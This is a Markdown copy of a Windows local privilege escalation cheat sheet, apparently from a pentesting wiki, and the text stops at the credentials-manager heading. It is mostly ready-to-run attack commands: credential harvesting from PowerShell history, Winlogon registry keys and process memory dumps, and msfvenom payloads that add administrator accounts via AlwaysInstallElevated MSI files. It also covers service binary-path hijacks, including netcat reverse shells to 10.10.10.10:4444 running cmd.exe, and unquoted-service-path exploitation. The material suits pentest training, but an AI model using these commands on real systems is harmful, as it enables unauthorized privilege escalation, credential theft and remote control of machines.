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1491 lines
62 KiB
Markdown
1491 lines
62 KiB
Markdown
# Windows Local Privilege Escalation
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{% endhint %}
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### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
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## Initial Windows Theory
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### Access Tokens
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**If you don't know what are Windows Access Tokens, read the following page before continuing:**
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{% content-ref url="access-tokens.md" %}
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[access-tokens.md](access-tokens.md)
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{% endcontent-ref %}
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### ACLs - DACLs/SACLs/ACEs
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**If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing**:
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{% content-ref url="acls-dacls-sacls-aces.md" %}
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[acls-dacls-sacls-aces.md](acls-dacls-sacls-aces.md)
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{% endcontent-ref %}
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### Integrity Levels
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**If you don't know what are integrity levels in Windows you should read the following page before continuing:**
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{% content-ref url="integrity-levels.md" %}
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[integrity-levels.md](integrity-levels.md)
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{% endcontent-ref %}
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## System Info
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### Version info enumeration
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Check if the Windows version has any known vulnerability (check also the patches applied).
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```bash
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systeminfo
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systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
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wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
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wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
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```
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```bash
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[System.Environment]::OSVersion.Version #Current OS version
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Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
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Get-Hotfix -description "Security update" #List only "Security Update" patches
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```
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### Version Exploits
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#### On the system
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* _post/windows/gather/enum\_patches_
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* _post/multi/recon/local\_exploit\_suggester_
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* [_watson_](https://github.com/rasta-mouse/Watson)
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* [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_
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**Locally with system infromation**
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* [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
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* [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
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**Github repos of exploits:**
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* [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
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* [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
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* [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
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### Environment
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Any credential/Juicy info saved in the env variables?
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```bash
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set
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dir env:
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Get-ChildItem Env: | ft Key,Value
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```
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### PowerShell History
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```bash
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ConsoleHost_history #Find the PATH where is saved
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type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
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type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
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type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
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cat (Get-PSReadlineOption).HistorySavePath
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cat (Get-PSReadlineOption).HistorySavePath | sls passw
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```
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### PowerShell Transcript files
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You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
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```bash
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#Check is enable in the registry
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reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
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dir C:\Transcripts
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#Start a Transcription session
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Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
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Stop-Transcript
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```
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### PowerShell Module Logging
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It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.\
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You can enable this following the link of the last section (Transcript files) but enabling "Module Logging" instead of "Powershell Transcription".
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```
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reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
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```
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To view the last 15 events from PowersShell logs you can execute:
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```bash
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Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
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```
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### PowerShell **Script Block Logging**
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It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
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```
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reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
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```
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The Script Block logging events can be found in Windows Event viewer under following path: _Application and Sevices Logs > Microsoft > Windows > Powershell > Operational_\
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\_\_To view the last 20 events you can use:
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```bash
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Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
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```
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### Internet Settings
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```bash
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reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
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reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
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```
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### Drives
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```bash
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wmic logicaldisk get caption || fsutil fsinfo drives
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wmic logicaldisk get caption,description,providername
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Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
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```
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### WSUS
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You can compromise the system if the updates are not requested using http**S** but http.
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You start by checking if the network uses a non-SSL WSUS update by running the following:
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```
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reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
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```
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If you get a reply such as:
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```bash
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HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
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WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
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```
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And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` is equals to `1`.
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Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored.
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In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
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Read the research here:
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{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}
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#### WSUS CVE-2020-1013
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[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
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Basically, this is the flaw that this bug exploits:
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> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset.
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>
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> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
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You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated).
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## AlwaysInstallElevated
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**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) ** `*.msi`** files as NT AUTHORITY\\**SYSTEM**.
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```bash
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reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
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reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
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```
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### Metasploit payloads
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```bash
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msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
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msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
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```
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If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`**
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### PowerUP
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Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
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```
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Write-UserAddMSI
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```
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Just execute the created binary to escalate privileges.
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### MSI Wrapper
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Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines**
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{% content-ref url="msi-wrapper.md" %}
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[msi-wrapper.md](msi-wrapper.md)
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{% endcontent-ref %}
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### Create MSI with WIX
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{% content-ref url="create-msi-with-wix.md" %}
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[create-msi-with-wix.md](create-msi-with-wix.md)
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{% endcontent-ref %}
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### MSI Installation
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To execute the **installation** of the **malicious `.msi` ** file in **background:**
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```
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msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
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```
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To exploit this vulnerability you can use: _exploit/windows/local/always\_install\_elevated_
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## Antivirus and Detectors
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### Audit Settings
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These settings decide what is being **logged**, so you should pay attention
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```
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reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
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```
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### WEF
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Windows Event Forwarding, is interesting to know where are the logs sent
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```bash
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reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
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```
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### LAPS
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**LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
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```bash
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reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
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```
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When using LAPS, 2 new attributes appear in the computer objects of the domain: _ms-msc-AdmPwd_ and _ms-mcs-AdmPwdExpirationTime._ These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes...
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### WDigest
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If active, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\
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[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
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```
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reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
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```
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### LSA Protection
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Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code.\
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[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
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```
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reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
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```
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### Credentials Guard
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**Credential Guard** is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash.\
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[**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
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```
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reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
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```
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### Cached Credentials
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**Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data.\
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[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
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```
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reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
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```
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### AV
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Check is there is any anti virus running:
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```bash
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WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
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Get-MpComputerStatus
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```
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### AppLocker Policy
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Check which files/extensions are blacklisted/whitelisted.
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```
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Get-ApplockerPolicy -Effective -xml
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Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
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$a = Get-ApplockerPolicy -effective
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$a.rulecollections
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```
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#### Useful Writable folders to bypass AppLocker Policy
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```
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C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
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C:\Windows\System32\spool\drivers\color
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C:\Windows\Tasks
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C:\windows\tracing
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```
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### UAC
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UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user.\
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[**More information about UAC here**](../authentication-credentials-uac-and-efs.md#uac).
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```
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reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\
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```
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## Users & Groups
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### Enumerate Users & Groups
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You should check if any of the groups where you belong have interesting permissions
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```bash
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# CMD
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net users %username% #Me
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net users #All local users
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net localgroup #Groups
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net localgroup Administrators #Who is inside Administrators group
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whoami /all #Check the privileges
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# PS
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Get-WmiObject -Class Win32_UserAccount
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Get-LocalUser | ft Name,Enabled,LastLogon
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Get-ChildItem C:\Users -Force | select Name
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Get-LocalGroupMember Administrators | ft Name, PrincipalSource
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```
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### Privileged groups
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If you **belongs to some privileged group you may be able to escalate privileges**. Learn about privileged groups and how to abuse them to escalate privileges here:
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{% content-ref url="../active-directory-methodology/privileged-accounts-and-token-privileges.md" %}
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[privileged-accounts-and-token-privileges.md](../active-directory-methodology/privileged-accounts-and-token-privileges.md)
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{% endcontent-ref %}
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### Token manipulation
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**Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs.md#access-tokens).\
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Check the following page to **learn about interesting tokens** and how to abuse them:
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||
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||
{% content-ref url="privilege-escalation-abusing-tokens.md" %}
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||
[privilege-escalation-abusing-tokens.md](privilege-escalation-abusing-tokens.md)
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||
{% endcontent-ref %}
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|
||
### Logged users / Sessions
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||
|
||
```
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||
qwinsta
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klist sessions
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```
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### Home folders
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```
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dir C:\Users
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Get-ChildItem C:\Users
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```
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### Password Policy
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```
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net accounts
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```
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### Get the content of the clipboard
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||
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```bash
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powershell -command "Get-Clipboard"
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```
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## Running Processes
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### File and Folder Permissions
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First of all, listing the processes **check for passwords inside the command line of the process**.\
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Check if you can **overwrite some binary running** or if you have write permissions of the binary folder to exploit possible [**DLL Hijacking attacks**](dll-hijacking.md):
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|
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```bash
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Tasklist /SVC #List processes running and services
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tasklist /v /fi "username eq system" #Filter "system" processes
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#With allowed Usernames
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Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
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#Without usernames
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Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
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```
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|
||
Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-unix/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||
|
||
#### Checking permissions of the processes binaries
|
||
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||
icacls "%%z"
|
||
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
|
||
)
|
||
)
|
||
```
|
||
|
||
#### Checking permissions of the folders of the processes binaries ([DLL Hijacking](dll-hijacking.md))
|
||
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
|
||
todos %username%" && echo.
|
||
)
|
||
```
|
||
|
||
### Memory Password mining
|
||
|
||
You can create a memory dump of a running process using **procdump** from sysinternals. Services like FTP have the **credentials in clear text in memory**, try to dump the memory and read the credentials.
|
||
|
||
```
|
||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||
```
|
||
|
||
### Insecure GUI apps
|
||
|
||
**Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.**
|
||
|
||
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
|
||
|
||
## Services
|
||
|
||
Get a list of services:
|
||
|
||
```
|
||
net start
|
||
wmic service list brief
|
||
sc query
|
||
Get-Service
|
||
```
|
||
|
||
### Permissions
|
||
|
||
You can use **sc** to get information of a service
|
||
|
||
```
|
||
sc qc <service_name>
|
||
```
|
||
|
||
It is recommended to have the binary **accesschk** from _Sysinternals_ to check the required privilege level for each service.
|
||
|
||
```bash
|
||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||
```
|
||
|
||
It is recommended to check if "Authenticated Users" can modify any service:
|
||
|
||
```bash
|
||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||
```
|
||
|
||
[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
|
||
|
||
### Enable service
|
||
|
||
If you are having this error (for example with SSDPSRV):
|
||
|
||
_System error 1058 has occurred._\
|
||
_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
|
||
|
||
You can enable it using
|
||
|
||
```bash
|
||
sc config SSDPSRV start= demand
|
||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||
```
|
||
|
||
**Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)**
|
||
|
||
**Another workaround** of this problem is running:
|
||
|
||
```
|
||
sc.exe config usosvc start= auto
|
||
```
|
||
|
||
### **Modify service binary path**
|
||
|
||
If the group "Authenticated users" has **SERVICE\_ALL\_ACCESS** in a service, then it can modify the binary that is being executed by the service. To modify it and execute **nc** you can do:
|
||
|
||
```bash
|
||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||
|
||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||
```
|
||
|
||
### Restart service
|
||
|
||
```
|
||
wmic service NAMEOFSERVICE call startservice
|
||
net stop [service name] && net start [service name]
|
||
```
|
||
|
||
Other Permissions can be used to escalate privileges:\
|
||
**SERVICE\_CHANGE\_CONFIG** Can reconfigure the service binary\
|
||
**WRITE\_DAC:** Can reconfigure permissions, leading to SERVICE\_CHANGE\_CONFIG\
|
||
**WRITE\_OWNER:** Can become owner, reconfigure permissions\
|
||
**GENERIC\_WRITE:** Inherits SERVICE\_CHANGE\_CONFIG\
|
||
**GENERIC\_ALL:** Inherits SERVICE\_CHANGE\_CONFIG
|
||
|
||
**To detect and exploit** this vulnerability you can use _exploit/windows/local/service\_permissions_
|
||
|
||
### Services binaries weak permissions
|
||
|
||
**Check if you can modify the binary that is executed by a service** or if you have **write permissions on the folder** where the binary is located ([**DLL Hijacking**](dll-hijacking.md))**.**\
|
||
You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**:
|
||
|
||
```bash
|
||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||
|
||
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
|
||
```
|
||
|
||
You can also use **sc** and **icacls**:
|
||
|
||
```bash
|
||
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||
```
|
||
|
||
### Services registry modify permissions
|
||
|
||
You should check if you can modify any service registry.\
|
||
You can **check** your **permissions** over a service **registry** doing:
|
||
|
||
```bash
|
||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||
|
||
#Try to write every service with its current content (to check if you have write permissions)
|
||
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
|
||
|
||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||
```
|
||
|
||
Check if **Authenticated Users** or **NT AUTHORITY\INTERACTIVE** have FullControl. In that case you can change the binary that is going to be executed by the service.
|
||
|
||
To change the Path of the binary executed:
|
||
|
||
```bash
|
||
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||
```
|
||
|
||
### Services registry AppendData/AddSubdirectory permissions
|
||
|
||
If you have this permission over a registry this means to **you can create sub registries from this one**. In case of Windows services this is **enough to execute arbitrary code:**
|
||
|
||
{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %}
|
||
[appenddata-addsubdirectory-permission-over-service-registry.md](appenddata-addsubdirectory-permission-over-service-registry.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Unquoted Service Paths
|
||
|
||
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
|
||
|
||
For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute:
|
||
|
||
```
|
||
C:\Program.exe
|
||
C:\Program Files\Some.exe
|
||
C:\Program Files\Some Folder\Service.exe
|
||
```
|
||
|
||
To list all unquoted service paths (minus built-in Windows services)
|
||
|
||
```bash
|
||
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
|
||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
|
||
|
||
#Other way
|
||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
|
||
)
|
||
)
|
||
```
|
||
|
||
```bash
|
||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||
```
|
||
|
||
**You can detect and exploit** this vulnerability with metasploit: _exploit/windows/local/trusted\_service\_path_\
|
||
You can manually create a service binary with metasploit:
|
||
|
||
```bash
|
||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||
```
|
||
|
||
### Recovery Actions
|
||
|
||
It's possible to indicate Windows what it should do[ when executing a service this fails](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662\(v=ws.11\)?redirectedfrom=MSDN). If that setting is pointing a binary and this binary can be overwritten you may be able to escalate privileges.
|
||
|
||
## Applications
|
||
|
||
### Installed Applications
|
||
|
||
Check **permissions of the binaries** (maybe you can overwrite one and escalate privileges) and of the **folders** ([DLL Hijacking](dll-hijacking.md)).
|
||
|
||
```bash
|
||
dir /a "C:\Program Files"
|
||
dir /a "C:\Program Files (x86)"
|
||
reg query HKEY_LOCAL_MACHINE\SOFTWARE
|
||
|
||
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
|
||
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||
```
|
||
|
||
### Write Permissions
|
||
|
||
Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
|
||
|
||
A way to find weak folder/files permissions in the system is doing:
|
||
|
||
```bash
|
||
accesschk.exe /accepteula
|
||
# Find all weak folder permissions per drive.
|
||
accesschk.exe -uwdqs Users c:\
|
||
accesschk.exe -uwdqs "Authenticated Users" c:\
|
||
accesschk.exe -uwdqs "Everyone" c:\
|
||
# Find all weak file permissions per drive.
|
||
accesschk.exe -uwqs Users c:\*.*
|
||
accesschk.exe -uwqs "Authenticated Users" c:\*.*
|
||
accesschk.exe -uwdqs "Everyone" c:\*.*
|
||
```
|
||
|
||
```bash
|
||
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
|
||
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
|
||
```
|
||
|
||
```bash
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
|
||
|
||
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
|
||
```
|
||
|
||
### Run at startup
|
||
|
||
**Check if you can overwrite some registry or binary that is going to be executed by a different user.**\
|
||
**Read** the **following page** to learn more about interesting **autoruns locations to escalate privileges**:
|
||
|
||
{% content-ref url="privilege-escalation-with-autorun-binaries.md" %}
|
||
[privilege-escalation-with-autorun-binaries.md](privilege-escalation-with-autorun-binaries.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Drivers
|
||
|
||
Look for possible **third party weird/vulnerable** drivers
|
||
|
||
```
|
||
driverquery
|
||
driverquery.exe /fo table
|
||
driverquery /SI
|
||
```
|
||
|
||
## PATH DLL Hijacking
|
||
|
||
If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**.
|
||
|
||
Check permissions of all folders inside PATH:
|
||
|
||
```bash
|
||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||
```
|
||
|
||
## Network
|
||
|
||
### Shares
|
||
|
||
```bash
|
||
net view #Get a list of computers
|
||
net view /all /domain [domainname] #Shares on the domains
|
||
net view \\computer /ALL #List shares of a computer
|
||
net use x: \\computer\share #Mount the share locally
|
||
net share #Check current shares
|
||
```
|
||
|
||
### hosts file
|
||
|
||
Check for other known computers hardcoded on the hosts file
|
||
|
||
```
|
||
type C:\Windows\System32\drivers\etc\hosts
|
||
```
|
||
|
||
### Network Interfaces & DNS
|
||
|
||
```
|
||
ipconfig /all
|
||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||
```
|
||
|
||
### Open Ports
|
||
|
||
Check for **restricted services** from the outside
|
||
|
||
```bash
|
||
netstat -ano #Opened ports?
|
||
```
|
||
|
||
### Routing Table
|
||
|
||
```
|
||
route print
|
||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||
```
|
||
|
||
### ARP Table
|
||
|
||
```
|
||
arp -A
|
||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||
```
|
||
|
||
### Firewall Rules
|
||
|
||
[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(list rules, create rules, turn off, turn off...)**
|
||
|
||
More[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network)
|
||
|
||
### Windows Subsystem for Linux (wsl)
|
||
|
||
```
|
||
C:\Windows\System32\bash.exe
|
||
C:\Windows\System32\wsl.exe
|
||
```
|
||
|
||
Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
|
||
|
||
If you get root user you can listen on any port (the first time you use `nc.exe` to listen on a port it will ask via GUI if `nc` should be allowed by the firewall).
|
||
|
||
```
|
||
wsl whoami
|
||
./ubuntun1604.exe config --default-user root
|
||
wsl whoami
|
||
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
|
||
```
|
||
|
||
To easily start bash as root, you can try `--default-user root`
|
||
|
||
You can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
|
||
|
||
## Windows Credentials
|
||
|
||
### Winlogon Credentials
|
||
|
||
```bash
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
|
||
|
||
#Other way
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
|
||
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
|
||
```
|
||
|
||
### Credentials manager / Windows vault
|
||
|
||
